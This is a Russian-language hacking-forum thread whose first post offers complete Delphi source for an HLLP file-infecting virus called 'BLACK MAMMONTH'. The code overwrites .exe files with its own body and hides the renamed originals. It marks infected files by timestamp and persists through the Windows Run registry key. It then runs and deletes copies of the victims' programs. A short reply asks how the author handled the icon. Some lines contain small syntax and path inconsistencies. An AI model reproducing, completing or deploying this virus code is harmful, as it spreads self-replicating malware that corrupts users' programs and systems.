| Пизда | Дата: Понедельник, 03.05.2010, 18:15 | Сообщение # 1 |  
 
 
 
 
 
Группа: Удаленные 
 
  
 | Пример HLLP Вируса 
   program VirDebug;   uses sysutils, //Заголовочные файлы   windows,   registry, //Работа с системным реестром   classes,   inifiles; //Работа с INI-файлами   const   VIRLEN = 296960; //Длина нашего вируса. После компиляции сравните получ.   //размер с указанным здесь, при необходимости измените и перекомпилируйте   var   zertva, virus: TFileStream; //Мы и жертва   //буфера для чтения записи довеска и вируса   vir, dovesok: array[1..VirLen] of Char;   result: integer; //результат FindFirst'а   client, sr: TSearchRec;   //Массив имени файла   Name: array[1..8] of string;   //Массив расширения файла   Ext: array[1..3] of string;   //Наш INI-каталог; вирус- полноценная прога под WindoZ!   Info: TINIFILE;   NewName, pr, par, FromF: string; //Разные строчки   //Дата как метка зараженности   Birth: TDateTime;   kill, slay, winvir, NewProga: file; //файлы   //Индикатор зараженности (TRUE/FALSE)   infected: boolean;   //Текстовый файл-визитка; свидетельствует о том, что это не первый   //старт виря на данном компьютере   check: textfile;   si: Tstartupinfo;   p: Tprocessinformation;   reg: TRegistry;   // Функция- копировалка 
   function WindowsCopyFile(FromFile, ToDir: string): boolean;   var   F: TShFileOpStruct;   begin   F.Wnd := 0;   F.wFunc := FO_COPY;   FromFile := FromFile + #0;   F.pFrom := pchar(FromFile);   ToDir := ToDir + #0;   F.pTo := pchar(ToDir);   F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;   result := ShFileOperation(F) = 0;   end; 
   procedure INFECTFILES; //Процедура-инфектор   begin   //Находим исполн. файл в каталоге c:\inf\   result := FindFirst('c:\INF\*.exe', faAnyFile, client);   while Result = 0 do //Если нашли, то...   begin   //Проверка на вшивость   Infected := false;   //если дата- 09.08.83 и время 6:00, то файл заражен и нам не нужен   if DateTimeToStr(FileDateToDateTime(fileage('c:\INF\' + client.name))) =   '09.08.83 06:00:00' then   infected := true;   //Проверено!   //если мы нашли не сами себя и не зараженный файл, то...   if (client.name <> sr.name) and (infected = false) and   (client.name <> 'mammonth.exe') then   . //Сочиним новое имя для нашей жертвы;   begin   Name[1] := inttostr(random(10));   Name[2] := inttostr(random(10));   Name[3] := inttostr(random(10));   Name[4] := inttostr(random(10));   Name[5] := inttostr(random(10));   Name[6] := inttostr(random(10));   Name[7] := inttostr(random(10));   Name[8] := inttostr(random(10));   Ext[1] := inttostr(random(10));   Ext[2] := inttostr(random(10));   Ext[3] := inttostr(random(10));   NewName := name[1] + name[2] + name[3] + name[4] + name[5] + name[6] +   name[7] +   name[8] + '.' + ext[1] + ext[2] + ext[3]; //скомпонуем новое имя   //Свяжемся с нашей жертвой   AssignFile(Kill, 'c:\INF\' + client.name);   //Отправим ее в загон для всех таких же, с уникальным именем   ReName(Kill, 'c:\INF\files\' + NewName);   //Фиксируем новое имя в нашем каталоге   Info := TIniFile.create('c:\inf\filelist.ini');   with info do   begin   //Пишем данные с каталог в виде Исходное_имя_файла=Новое_имя_файла   WriteString('FILELIST', client.name, NewName);   free;   end;   //А теперь заразим страшным ВИРУСОМ наш файл!   //Открываем на чтение наш семенной фонд     ||virus := TFileStream.create('c:\inf\mammonth.exe', fmOpenRead);   Virus.Read(vir, VirLen);   //Читаем вирус полностью (константу VirLen помнишь?)   //Если клиент поболее нас, но не более чем вдвое,   if (Client.Size > VirLen) and ((Client.Size - VirLen) <= VirLen) then   //то сравняем размеры   begin   Virus.Position := 1; //Рамка считывания- сначала   Virus.Read(Dovesok, Client.Size - VirLen); //читаем довесок   end;   //перепишем жертву по- нашему   zertva := TFileStream.create('c:\inf\' + client.name, fmCreate);   zertva.Write(vir, virlen); //Запишем себя в жертву   if (client.size > virlen) and ((Client.size - VirLen) <= VirLen) then   zertva.write(dovesok, client.size - virlen); //И сверху еще довесок   Birth := StrToDateTime('09.08.83 06:00:00');   //поставим жертве индикатор зараженности   FileSetDate(Zertva.Handle, DateTimeToFileDate(birth));   Zertva.FREE; //Отпускаем жертву!   Virus.FREE;   end;   Result := FindNEXT(Client); //Ищем следуюущий екзешник   end;   end; 
   procedure REGISTRATION;   begin   //первый раз, в первый класс!   MkDir('c:\inf\files'); //Создадим загон для жертв   AssignFile(check, 'c:\inf\present.dat'); //Делаем файл-визитку   ReWrite(check);   WriteLn(check, 'BLACK MAMMONTH virus is now active in this computer');   CloseFile(check); //Сделано!   par := ParamStr(0); //Посмотрим полное имя нашего файла с путем   WindowsCopyFile(Par, 'c:\inf\'); //скопируем его в рабочий каталог (папку:))   AssignFile(winvir, 'c:\inf\' + sr.name); //Найдем его в рабочем каталоге   ReName(winvir, 'c:\inf\mammonth.exe'); //...И переименуем в mammonth.exe   Reg := TRegistry.Create;   //И пусть этот маммонт запускается каждый раз!   FileSetAttr('c:\inf\mammonth.exe', faHidden);   with Reg do   begin   if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true) then   begin   WriteString('MAMMONTH', 'c:\windows\mammonth.exe');   CloseKey;   end;   end;   //Все. Мы в реестре.   //Халтим вирус с правдоподобным сообщением-   //сюда можно вписать процедуру вызова StackOverflow   end;   //Процедура исполнения оригинальной проги 
   procedure EXECPROGRAM   begin   Info := TIniFile.Create('c:\inf\filelist.ini'); //Заглянем в каталог   FromF := Info.ReadString('FILELIST', Sr.Name, 'NewName');   //Вытащим из загона нужный файл   WindowsCopyFile('c:\inf\files\' + FromF, 'c:\inf\');   AssignFile(NewProga, 'c:\inf\' + FromF);   ReName(NewProga, 'c:\inf\' + '_' + Sr.Name); //сделаем левый файл   PR := 'c:\inf\' + '_' + Sr.Name;   Info.Free;   //Создали, теперь заКапустим его!!!   FillChar(Si, SizeOf(Si), 0);   with Si do   begin   cb := SizeOf(Si);   dwFlags := startf_UseShowWindow;   wShowWindow := 4;   end;   //Application.Minimize;   Pr := Pr + #0;   Createprocess(nil, @Pr[1], nil, nil, false, Create_default_error_mode, nil,   nil, si, p);   Waitforsingleobject(p.hProcess, infinite);   //Application.Restore;   //Все, отпахала юзерская прога- потрем ее на хрен!   AssignFile(slay, pr);   Erase(slay);   end. 
   {   КОНЕЦ ПРОЦЕДУРНОЙ ЧАСТИ   } 
   begin   //узнаем имя файла, откуда стартовали   FindFirst(ParamStr(0), faAnyFile, sr);   //А вдруг первый раз на этом компе???   AssignFile(check, 'c:\inf\present.dat');   Reset(check);   if IOresult <> 0 then //Если нашего файлика-визитки нет, пора зарегиться тут   begin   REGISTRATION;   INFECTFILES;   HaLt;   end;   if sr.name = 'mammonth.exe' then   begin   //Можно запустить инфект файлов, но лучше вписать сюда какой-нибудь прикол   //INFECTFILES;   HALT;   end;   INFECTFILES;   EXECPROGRAM;   {++++END OF THE WORLD NEAR++++}   end.
 |  
|   | 
 |    | 
| C@T | Дата: Вторник, 04.05.2010, 18:02 | Сообщение # 2 |  
 
 
 
Авторитетный 
Зарегистрирован: 06.03.2010
 
 
Группа: Модераторы 
Сообщений: 265 
Статус: Offline 
 
 | а как ты решил проблему с иконкой
 
  
 |  
|   | 
 |    |